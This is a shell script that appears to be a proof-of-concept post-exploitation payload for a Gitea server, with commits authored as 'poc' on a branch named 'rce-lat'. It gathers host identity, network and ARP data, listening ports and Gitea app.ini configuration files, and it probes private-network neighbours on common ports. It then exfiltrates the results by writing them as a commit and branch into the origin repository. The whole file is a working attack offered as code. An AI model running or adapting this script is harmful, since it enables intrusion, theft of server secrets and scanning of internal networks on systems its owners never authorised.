#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
case "$origin_objects" in
  /*) ;;
  *) origin_objects="$git_dir/objects/$origin_objects" ;;
esac
origin_git=${origin_objects%/objects}
[ "$origin_git" != "$origin_objects" ] || exit 3
out=$(
  echo "===id==="; id; hostname; uname -a
  echo "===ip==="; ip -4 addr 2>/dev/null | head -40
  echo "===hosts==="; cat /etc/hosts 2>/dev/null | head -40
  echo "===arp==="; cat /proc/net/arp 2>/dev/null
  echo "===ss==="; ss -lnt 2>/dev/null | head -40
  echo "===conf===";
  for f in /data/gitea/conf/app.ini /etc/gitea/app.ini /etc/gitea/conf/app.ini /app/gitea/conf/app.ini; do
    [ -r "$f" ] && echo "FILE $f" && sed -n "1,80p" "$f"
  done
  echo "===scan===";
  ips=$(ip -4 -o addr 2>/dev/null | awk '{print $4}' | cut -d/ -f1 | grep -E '^(10\.|192\.168\.|172\.(1[6-9]|2[0-9]|3[01])\.)' )
  arps=$(awk 'NR>1 && $1 ~ /^(10\.|192\.168\.|172\.(1[6-9]|2[0-9]|3[01])\.)/ {print $1}' /proc/net/arp 2>/dev/null)
  for ipx in $ips $arps; do
    [ -n "$ipx" ] || continue
    for p in 80 443 3000 8080 3306; do
      if command -v curl >/dev/null 2>&1; then
        hdr=$(curl -skm 2 -o /dev/null -w "%{http_code}" "http://$ipx:$p/" 2>/dev/null || true)
        [ -n "$hdr" ] && [ "$hdr" != "000" ] && echo "HTTP $ipx:$p $hdr"
      fi
    done
  done
)
output_blob=$(printf "%s\n" "$out" | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
tree=$(printf "100644 blob %s\tlat\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
commit=$(printf "lat\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6
git --git-dir="$origin_git" update-ref refs/heads/rce-lat "$commit" || exit 7
exit 0
